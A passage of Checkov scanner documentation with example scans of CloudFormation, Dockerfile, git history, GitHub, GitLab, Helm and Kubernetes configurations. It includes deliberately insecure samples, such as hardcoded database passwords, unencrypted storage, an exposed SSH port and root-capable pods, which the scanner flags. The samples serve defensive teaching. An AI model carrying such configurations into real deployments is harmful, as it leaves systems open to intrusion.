AWS::RDS::DBInstance.MyDB0 File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:2-9 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-iam-policies/ensure-rds-database-has-iam-authentication-enabled 2 | MyDB0: 3 | Type: 'AWS::RDS::DBInstance' 4 | Properties: 5 | DBName: 'mydb' 6 | DBInstanceClass: 'db.t3.micro' 7 | Engine: 'mysql' 8 | MasterUsername: 'master' 9 | MasterUserPassword: 'password' Check: CKV_AWS_157: "Ensure that RDS instances have Multi-AZ enabled" FAILED for resource: AWS::RDS::DBInstance.MyDB0 File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:2-9 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/general-73 2 | MyDB0: 3 | Type: 'AWS::RDS::DBInstance' 4 | Properties: 5 | DBName: 'mydb' 6 | DBInstanceClass: 'db.t3.micro' 7 | Engine: 'mysql' 8 | MasterUsername: 'master' 9 | MasterUserPassword: 'password' Check: CKV_AWS_16: "Ensure all data stored in the RDS is securely encrypted at rest" FAILED for resource: AWS::RDS::DBInstance.MyDB0 File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:2-9 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/general-4 2 | MyDB0: 3 | Type: 'AWS::RDS::DBInstance' 4 | Properties: 5 | DBName: 'mydb' 6 | DBInstanceClass: 'db.t3.micro' 7 | Engine: 'mysql' 8 | MasterUsername: 'master' 9 | MasterUserPassword: 'password' Check: CKV_AWS_161: "Ensure RDS database has IAM authentication enabled" FAILED for resource: AWS::RDS::DBInstance.MyDB1 File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:10-18 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-iam-policies/ensure-rds-database-has-iam-authentication-enabled 10 | MyDB1: 11 | Type: 'AWS::RDS::DBInstance' 12 | Properties: 13 | DBName: 'mydb' 14 | DBInstanceClass: 'db.t3.micro' 15 | Engine: 'mysql' 16 | MasterUsername: 'master' 17 | MasterUserPassword: 'password' 18 | StorageEncrypted: false Check: CKV_AWS_157: "Ensure that RDS instances have Multi-AZ enabled" FAILED for resource: AWS::RDS::DBInstance.MyDB1 File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:10-18 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/general-73 10 | MyDB1: 11 | Type: 'AWS::RDS::DBInstance' 12 | Properties: 13 | DBName: 'mydb' 14 | DBInstanceClass: 'db.t3.micro' 15 | Engine: 'mysql' 16 | MasterUsername: 'master' 17 | MasterUserPassword: 'password' 18 | StorageEncrypted: false Check: CKV_AWS_16: "Ensure all data stored in the RDS is securely encrypted at rest" FAILED for resource: AWS::RDS::DBInstance.MyDB1 File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:10-18 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/general-4 10 | MyDB1: 11 | Type: 'AWS::RDS::DBInstance' 12 | Properties: 13 | DBName: 'mydb' 14 | DBInstanceClass: 'db.t3.micro' 15 | Engine: 'mysql' 16 | MasterUsername: 'master' 17 | MasterUserPassword: 'password' 18 | StorageEncrypted: false ``` ## The Cloudformation Graph Checkov follows the CFN [template reference](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/template-reference.html) where some resource can have an attribute reference that will result in the final state, or a resource can have a dependency in another resource. For example the following code: ```yaml Description: My super cool Lambda Parameters: ParamTracingConfig: Description: Active tracing config Type: String Default: "PassThrough" Resources: WrongTracingConfigValueLambdaFunctionWithRef: Type: "AWS::Lambda::Function" Properties: FunctionName: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" Runtime: nodejs12.x Role: !GetAtt IAM4Lambda.Arn Handler: exports.test Code: ZipFile: | console.log("Hello World"); Tags: - Key: Name Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-analysis" - Key: Environment Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}" Tracing_config: Mode: !Ref ParamTracingConfig ``` Contains the lambda resource that has the attribute `Tracing_config` that references the value of the parameter `ParamTracingConfig`. Those references are computes in a graph connecting the different cfn elements so we would be able to analyze if the parameter that is compliant or not with best practices. ================================================ FILE: docs/7.Scan Examples/Dockerfile.md ================================================ --- layout: default published: true title: Dockerfile configuration scanning nav_order: 20 --- # Dockerfile configuration scanning Checkov supports the evaluation of policies on your Dockerfile files. When using checkov to scan a directory that contains Dockerfile it will validate if the file is compliant with Docker best practices such as not using root user, making sure health check exists and not exposing SSH port. Full list of Dockerfile policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/dockerfile.html). ### Example misconfigured Dockerfile ```dockerfile FROM node:alpine WORKDIR /usr/src/app COPY package*.json ./ RUN npm install COPY . . EXPOSE 3000 22 HEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1 CMD ["node","app.js"] ``` ### Running in CLI ```bash checkov -d . --framework dockerfile ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: x.x.x dockerfile scan results: Passed checks: 3, Failed checks: 2, Skipped checks: 0 Check: CKV_DOCKER_5: "Ensure update instructions are not use alone in the Dockerfile" PASSED for resource: /Dockerfile. File: /Dockerfile:1-8 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/docker-policies/docker-policy-index/ensure-update-instructions-are-not-used-alone-in-the-dockerfile Check: CKV_DOCKER_7: "Ensure the base image uses a non latest version tag" PASSED for resource: /Dockerfile. File: /Dockerfile:1-8 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/docker-policies/ensure-the-base-image-uses-a-non-latest-version-tag Check: CKV_DOCKER_2: "Ensure that HEALTHCHECK instructions have been added to container images" PASSED for resource: /Dockerfile.HEALTHCHECK File: /Dockerfile:7-7 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/docker-policies/ensure-that-healthcheck-instructions-have-been-added-to-container-images Check: CKV_DOCKER_1: "Ensure port 22 is not exposed" FAILED for resource: /Dockerfile.EXPOSE File: /Dockerfile:6-6 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/docker-policies/ensure-port-22-is-not-exposed 6 | EXPOSE 3000 22 Check: CKV_DOCKER_3: "Ensure that a user for the container has been created" FAILED for resource: /Dockerfile. File: /Dockerfile:1-8 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/docker-policies/ensure-that-a-user-for-the-container-has-been-created 1 | FROM node:alpine 2 | WORKDIR /usr/src/app 3 | COPY package*.json ./ 4 | RUN npm install 5 | COPY . . 6 | EXPOSE 3000 22 7 | HEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1 8 | CMD ["node","app.js"] ``` ================================================ FILE: docs/7.Scan Examples/Git History.md ================================================ --- layout: default published: false title: Git History nav_order: 20 --- # Git History Checkov supports scanning of secrets in git history to identify and flag secrets, that might not be in the head commit of the branch but are still visible by accessing the git history of the repo. Checkov fetches all the available commits and uses same scan as the Checkov 'secrets' checkov framework to search for secrets in the diff available from git history. Each secret found can be traced to the first commit in which it appeared and the last commit that contained the secret if it was removed. ## Git History scanning Git history scan uses the same signatures and models as a regular secrets scan. The only difference is that the root directory is the path to either the root git directory or the bare git repo. Using the `--scan-secrets-history` flag will scan git history for secrets only. This will not scan for other issues such as IaC misconfiguration. Use `--secrets-history-timeout` to set how long the secrets scan will run on history before stopping. If the timeout was not enough to finish the run, no results will be returned. The default is `12h`. A run with a timeout of `12h` by default: ```bash checkov -d --scan-secrets-history --bc-api-key --repo-id ``` A run with a timeout of `1h`: ```bash checkov -d --scan-secrets-history --secrets-history-timeout 1h --bc-api-key --repo-id ``` ### Example output on https://github.com/bridgecrewio/detect-secrets repo: ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: 2.3.172 secrets scan results: Passed checks: 0, Failed checks: 320, Skipped checks: 0 Check: CKV_SECRET_6: "Base64 High Entropy String" FAILED for resource: 732a8470a9623e89355d477688afd7f8f4d55e03 Severity: LOW File: /tests/plugins/azure_storage_key_test.py:12-13; Commit Added: 018c9d1ee2a152a82c612ee82c0cd952a4f3eae4 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/secrets-policies/secrets-policy-index/git-secrets-6 12 | 'Accoun*********************************************************************************************', # noqa: E501 Check: CKV_SECRET_6: "Base64 High Entropy String" FAILED for resource: b57a3ad258d7674d2005a53aaa67460e25791f71 Severity: LOW File: /tests/plugins/keyword_test.py:22-23; Commit Added: 01cde918f5f471cb0e03964db37f905e5bcdd1cf; Commit Removed: e01d818ad118b0b1fccb1cc9b406e7aa1539e242 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/secrets-policies/secrets-policy-index/git-secrets-6 22 | 'PASSWORD = "ve********"' Check: CKV_SECRET_2: "AWS Access Key" FAILED for resource: d70eab08607a4d05faa2d0d6647206599e9abc65 Severity: LOW File: /test_diff/test_data/add_sample.diff:10-11; Commit Added: 07d52374f6d1ccc8709069be43139a6ba7ae544b Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/secrets-policies/secrets-policy-index/git-secrets-2 ... ``` ================================================ FILE: docs/7.Scan Examples/Github.md ================================================ --- layout: default published: true title: GitHub configuration scanning nav_order: 20 --- # GitHub configuration scanning Checkov supports the evaluation of policies on your GitHub organization and repositories settings. When using checkov with GitHub token it can collect your current org settings and validate it complies with GitHub security best practices such as having 2FA defined, having SSO and more. Full list of github organization and repository settings related checks can be found [here](https://www.checkov.io/5.Policy%20Index/github_configuration.html). ## GitHub scanning configuration | Environment Variable | Default value | Description | |-------------|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------| | CKV_GITHUB_CONFIG_FETCH_DATA| "True" | checkov will try to fetch GitHub configuration from API by default (unless no access token provided) | | CKV_GITHUB_CONF_DIR_NAME | "github_conf" | checkov will create a new directory named "github_conf" under current working directory | | GITHUB_API_URL | "https://api.github.com/" | | | GITHUB_TOKEN | | GitHub personal access token to be used to fetch GitHub configuration | | GITHUB_REF | refs/heads/master | Github branch for which to fetch branch protection rules configuration | | GITHUB_ORG | | Github organization | | GITHUB_REPOSITORY | | Github repository for which to fetch repository configuration info | | GITHUB_REPO_OWNER | | The owner of the repository. This could be either Github repository owner user name or the organization name, in which the user is the owner. | ### Example organization security configuration ```json { "data": { "organization": { "name": "Prisma", "login": "prismaio", "description": "Secure public cloud infrastructure", "ipAllowListEnabledSetting": "ENABLED", "ipAllowListForInstalledAppsEnabledSetting": "ENABLED", "requiresTwoFactorAuthentication": false, "samlIdentityProvider": { "ssoUrl": "https://prisma.okta.com/app/githubcloud/foo/sso/saml" } } } } ``` ### Example policy ```python from checkov.github.base_github_org_security import OrgSecurity class Github2FA(OrgSecurity): def __init__(self): name = "Ensure GitHub organization security settings require 2FA" id = "CKV_GITHUB_1" super().__init__( name=name, id=id ) def get_evaluated_keys(self): return ['data/organization/requiresTwoFactorAuthentication'] check = Github2FA() ``` ### Running in CLI ```bash #configure github personal access token export GITHUB_TOKEN="ghp_abc" #configure vpn (optional) export REQUESTS_CA_BUNDLE="/usr/local/etc/openssl/cert.pem" export BC_CA_BUNDLE="globalprotect_certifi.txt" checkov -d . --framework github_configuration ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: 2.0.707 github_configuration scan results: Passed checks: 2, Failed checks: 1, Skipped checks: 0 Check: CKV_GITHUB_3: "Ensure GitHub organization security settings has IP allow list enabled" PASSED for resource: _conf/org_security.json File: /github_conf/org_security.json:2-15 Check: CKV_GITHUB_2: "Ensure GitHub organization security settings require SSO" PASSED for resource: _conf/org_security.json File: /github_conf/org_security.json:2-15 Check: CKV_GITHUB_1: "Ensure GitHub organization security settings require 2FA" FAILED for resource: _conf/org_security.json File: /github_conf/org_security.json:2-15 2 | "data": { 3 | "organization": { 4 | "name": "Prisma", 5 | "login": "prismaio", 6 | "description": "Secure public cloud infrastructure", 7 | "ipAllowListEnabledSetting": "ENABLED", 8 | "ipAllowListForInstalledAppsEnabledSetting": "ENABLED", 9 | "requiresTwoFactorAuthentication": false, 10 | "samlIdentityProvider": { 11 | "ssoUrl": "https://prisma.okta.com/app/githubcloud/foo/sso/saml" 12 | } 13 | } 14 | } 15 | } ``` To add more GitHub policies and configuration to be inspected take a look at the [GitHub policy contribution guide](https://www.checkov.io/6.Contribution/Contribute%20New%20GitHub%20Policies.html) ================================================ FILE: docs/7.Scan Examples/Gitlab.md ================================================ --- layout: default published: true title: Gitlab configuration scanning nav_order: 20 --- # Gitlab configuration scanning Checkov supports the evaluation of policies on your Gitlab organization and repositories settings. When using checkov with Gitlab token it can collect your current org settings and validate it complies with Gitlab security best practices such as having 2FA defined, having SSO and more. Full list of gitlab organization and repository settings related checks can be found [here](https://www.checkov.io/5.Policy%20Index/gitlab_configuration.html). ## Gitlab scanning configuration | Environment Variable | Default value | Description | |-------------|----------|-------------------------------------------| | CKV_GITLAB_CONFIG_FETCH_DATA| "True" | checkov will try to fetch Gitlab configuration from API by default (unless no access token provided) | | CKV_GITLAB_CONF_DIR_NAME | "gitlab_conf" | checkov will create a new directory named "gitlab_conf" under current working directory | | CI_SERVER_URL | "https://gitlab.com/" | | | CI_JOB_TOKEN | | Gitlab personal access token to be used to fetch Gitlab configuration | ### Example groups configuration ```json [ { "id": 15483421, "web_url": "https://gitlab.com/groups/baraktest1", "name": "baraktestgroup", "path": "baraktest1", "description": "", "visibility": "private", "share_with_group_lock": false, "require_two_factor_authentication": false, "two_factor_grace_period": 48, "project_creation_level": "developer", "auto_devops_enabled": null, "subgroup_creation_level": "maintainer", "emails_disabled": null, "mentions_disabled": null, "lfs_enabled": true, "default_branch_protection": 2, "avatar_url": null, "request_access_enabled": true, "full_name": "baraktestgroup", "full_path": "baraktest1", "created_at": "2022-01-17T11:03:19.763Z", "parent_id": null, "ldap_cn": null, "ldap_access": null } ] ``` ### Example policy ```python from checkov.common.models.enums import CheckCategories, CheckResult from checkov.gitlab.base_gitlab_configuration_check import BaseGitlabCheck from checkov.gitlab.schemas.groups import schema from checkov.json_doc.enums import BlockType class GroupsTwoFactorAuthentication(BaseGitlabCheck): def __init__(self): name = "Ensure all Gitlab groups require two factor authentication" id = "CKV_GITLAB_2" categories = [CheckCategories.SUPPLY_CHAIN] super().__init__( name=name, id=id, categories=categories, supported_entities=["*"], block_type=BlockType.DOCUMENT ) def scan_entity_conf(self, conf): if schema.validate(conf): for group in conf: if group.get("require_two_factor_authentication", False) is True: return CheckResult.PASSED, conf return CheckResult.FAILED, conf check = GroupsTwoFactorAuthentication() ``` ### Running in CLI ```bash #configure gitlab personal access token export CI_JOB_TOKEN="ghp_abc" #configure vpn (optional) export REQUESTS_CA_BUNDLE="/usr/local/etc/openssl/cert.pem" export BC_CA_BUNDLE="globalprotect_certifi.txt" checkov -d . --framework gitlab_configuration ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: 2.0.722 gitlab_configuration scan results: Passed checks: 0, Failed checks: 1, Skipped checks: 0 Check: CKV_GITLAB_2: "Ensure all Gitlab groups require two factor authentication" FAILED for resource: /gitlab_conf/groups.json File: /gitlab_conf/groups.json:2-27 2 | { 3 | "id": 15483421, 4 | "web_url": "https://gitlab.com/groups/baraktest1", 5 | "name": "baraktestgroup", 6 | "path": "baraktest1", 7 | "description": "", 8 | "visibility": "private", 9 | "share_with_group_lock": false, 10 | "require_two_factor_authentication": false, 11 | "two_factor_grace_period": 48, 12 | "project_creation_level": "developer", 13 | "auto_devops_enabled": null, 14 | "subgroup_creation_level": "maintainer", 15 | "emails_disabled": null, 16 | "mentions_disabled": null, 17 | "lfs_enabled": true, 18 | "default_branch_protection": 2, 19 | "avatar_url": null, 20 | "request_access_enabled": true, 21 | "full_name": "baraktestgroup", 22 | "full_path": "baraktest1", 23 | "created_at": "2022-01-17T11:03:19.763Z", 24 | "parent_id": null, 25 | "ldap_cn": null, 26 | "ldap_access": null 27 | } Process finished with exit code 1 ``` To add more GitLab policies and configuration to be inspected take a look at the [GitLab policy contribution guide](https://www.checkov.io/6.Contribution/Contribute%20New%20Gitlab%20Policies.html) ================================================ FILE: docs/7.Scan Examples/Helm.md ================================================ --- layout: default published: true title: Helm nav_order: 9 --- # Scan Helm charts with Checkov Checkov is able to autodetect helm charts by the presence of a `Chart.yaml` file, if found, the helm framework will automatically be used to template out the helm chart (with it's default values) into resulting Kubernetes manifests, which will then be scanned by all Checkovs' Kubernetes policies. ``` _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: x.x.x helm scan results: Passed checks: 370, Failed checks: 90, Skipped checks: 0 Check: CKV_K8S_27: "Do not expose the docker daemon socket to containers" PASSED for resource: Deployment.RELEASE-NAME-nextcloud.default File: /nextcloud/templates/deployment.yaml:3-107 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-26 ... ``` To do this, we use the helm binary, if the helm binary (v3) is not available via the users `$PATH` for Checkov, Checkov will automatically skip the helm framework, with a message informing the user as below. Checkov will then run with exactly the same behaviour as if running with `checkov --skip-framework helm`. ``` The following frameworks will automatically be disabled due to missing system dependencies: helm ``` This auto-detection behaviour is to protect existing CI pipelines which pull the latest version of Checkov, which may not have the helm binary available. If you have custom value files, and scanning a Chart (a directory containing a `Chart.yaml` file), you can tell checkov to use your values while creating the kubernetes manifests from the chart, to do this, use the following (for example, scanning a gocd chart directory): ``` checkov -d ./testdir/gocd --framework helm --var-file ./testdir/gocd.yaml ``` in the example below, we can see the difference between the default `gocd` version `1.39.4` Helm chart scan, compared to a scan using the following `gocd.yaml` variables file: ``` checkov -d ./testdir/gocd --framework helm --quiet --compact -c CKV_K8S_15 helm scan results: Passed checks: 0, Failed checks: 3, Skipped checks: 0 Check: CKV_K8S_15: "Image Pull Policy should be Always" FAILED for resource: Deployment.default.RELEASE-NAME-gocd-agent File: /gocd/templates/gocd-agent-deployment.yaml:3-46 Check: CKV_K8S_15: "Image Pull Policy should be Always" FAILED for resource: Deployment.default.RELEASE-NAME-gocd-server File: /gocd/templates/gocd-server-deployment.yaml:3-90 Check: CKV_K8S_15: "Image Pull Policy should be Always" FAILED for resource: Pod.default.RELEASE-NAME-gocd-test-ku4xn File: /gocd/templates/tests/gocd-test.yaml:3-44 ``` ``` checkov -d ./testdir/gocd --framework helm --quiet --compact --var-file ./testdir/gocd.yaml -c CKV_K8S_15 helm scan results: Passed checks: 2, Failed checks: 1, Skipped checks: 0 Check: CKV_K8S_15: "Image Pull Policy should be Always" FAILED for resource: Pod.default.RELEASE-NAME-gocd-test-o6jdi File: /gocd/templates/tests/gocd-test.yaml:3-44 ``` # Third party Helm charts ## Scan Helm values.yaml files without a locally developed chart with Checkov If you are consuming third party charts, it is unlikely you will have a `Chart.yaml` file for Checkov to auto-detect. For example, you may have run: ``` helm repo add gocd https://gocd.github.io/helm-chart helm inspect values gocd/gocd > gocd.yaml ``` Then edited your custom values in `gocd.yaml` to suit your deployment needs. In this case, you can use your custom values from your values file (`gocd.yml` in this case) to generate kubernetes output with Helm, and pass the templated output to checkov to receive the same policy information. This would also be trivial to set up in CI for automated scanning of this scenario: ``` helm template gocd/gocd -f gocd.yaml > k8s-template.yaml checkov -f k8s-template.yaml --framework kubernetes --skip-check CKV_K8S_21 ``` Note we skip check `CKV_K8S_21` for this process, which alerts on default namespace usage within Kubernetes manifests. Since helm manages our namespaces, we always skip this internally when using the helm framework, so we want to replicate the same behaviour here. ================================================ FILE: docs/7.Scan Examples/Kubernetes.md ================================================ --- layout: default published: true title: Kubernetes configuration scanning nav_order: 20 --- # Kubernetes configuration scanning Checkov supports the evaluation of policies on your Kubernetes files. When using checkov to scan a directory that contains a Kubernetes manifests it will validate if the file is compliant with K8 best practices such as not admitting root containers, making sure there are CPU limits, and more. Full list of Kubernetes policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/kubernetes.html). ### Example misconfigured kubernetes ```yaml # runAsNonRoot and runAsUser not set (pod or container) apiVersion: v1 kind: Pod metadata: name: pod1 spec: containers: - name: main image: alpine command: ["/bin/sleep", "999999"] ``` ### Running in CLI ```bash checkov -d . --framework kubernetes ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: x.x.x Passed checks: 70, Failed checks: 19, Skipped checks: 0 Check: CKV_K8S_37: "Minimize the admission of containers with capabilities assigned" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-34 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_31: "Ensure that the seccomp profile is set to docker/default or runtime/default" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-29 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_8: "Liveness Probe Should be Configured" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-7 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_12: "Memory requests should be set" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-11 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_20: "Containers should not run with allowPrivilegeEscalation" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-19 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_13: "Memory limits should be set" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-12 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_40: "Containers should run as a high UID to avoid host conflict" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-37 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_10: "CPU requests should be set" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc-k8s-9 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_22: "Use read-only filesystem for containers where possible" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_21 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_9: "Readiness Probe Should be Configured" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_8 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_28: "Minimize the admission of containers with the NET_RAW capability" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_27 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_29: "Apply security context to your pods and containers" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_28 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_30: "Apply security context to your pods and containers" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_28 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_14: "Image Tag should be fixed - not latest or blank" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_13 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_38: "Ensure that Service Account Tokens are only mounted where necessary" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_35 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_21: "The default namespace should not be used" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_20 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_23: "Minimize the admission of root containers" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_22 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_43: "Image should use digest" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_39 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] Check: CKV_K8S_11: "CPU limits should be set" FAILED for resource: Pod.default.pod1 File: /rootContainersFAILED.yaml:2-10 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/kubernetes-policies/kubernetes-policy-index/bc_k8s_10 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: pod1 6 | spec: 7 | containers: 8 | - name: main 9 | image: alpine 10 | command: ["/bin/sleep", "999999"] ``` ================================================ FILE: docs/7.Scan Examples/Kustomize.md ================================================ --- layout: default published: true title: Kustomize nav_order: 10 